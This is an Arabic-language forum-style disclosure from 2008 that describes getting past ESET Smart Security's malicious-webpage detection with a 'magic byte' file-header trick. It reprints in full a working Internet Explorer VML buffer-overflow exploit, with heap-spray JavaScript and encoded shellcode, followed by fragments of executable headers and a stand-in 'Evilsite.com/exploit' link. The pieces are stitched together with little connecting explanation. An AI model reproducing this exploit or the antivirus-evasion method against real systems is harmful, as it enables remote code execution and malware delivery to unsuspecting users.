السلام عليكم ورحمة الله تعالى وبركاته. نوع الثغرة: ESET Smart Security Malicious WebPage Detection Bypass الإصدارات المصابة: جميع نسخ ESET Smart Security المكتشف: DATA_SNIPER تاريخ الإكتشاف: 2008/08/15 الخطورة: عالية جداا. شرح التقنية المستخدمة: تعتبر هذه الثغرة خطيرة جدا من ناحية انها قد تسمح بإدخال فيروسات وتنفيذ اكواد ضارة عن طريق ثغرات المتصفح حيث تكمن هذه الثغرة في التلاعب بصفحات HTML و التعديل عليها ،والثغرة التي إكتشفتها اساسها مبني على على فكرة "The Magic of magic byte" لكن مع بعض الإضافات لكي تكون سارية المفعول مع برامج AntiVirus الجديدة التي من بينها ESET Smart Security The Magic of magic byte: لقد ظهر هذا النوع من الثغرات بواسطة Andrey Bayora و التي سميت بـ:
The Magic of magic byte
BAT,JS,HTML
# MS Internet Explorer (VML) Remote Buffer Overflow Exploit (XP SP2)<!--..::[ jamikazu presents ]::..Microsoft Internet Explorer VML Remote Buffer Overflow Exploit (0day)Works on all Windows XP versions including SP2Author: jamikazu Mail: jamikazu@*****.comCredit: metasploit, SkyLinedinvokes calc.exe if successful --><html xmlns:v="urn:schemas-microsoft-com:vml"><head><object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"></object><style>v\:* { behavior: url(#VMLRender); }</style></head><body><script language="javascript"> var heapSprayToAddress = 0x05050505; var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u9090%u9090"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; }</script> <v:rect style='width:120pt;height:80pt' fillcolor="red"><v:fill method = "ԅԅԅ" ></v:rect></v:fill> </body></html>
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$
http://www.securityelf.org/magicbyte.html
MZ@.....................@...................................@...PE..L....X.G.........................0..&........@....@
MZ
http://Evilsite.com/exploit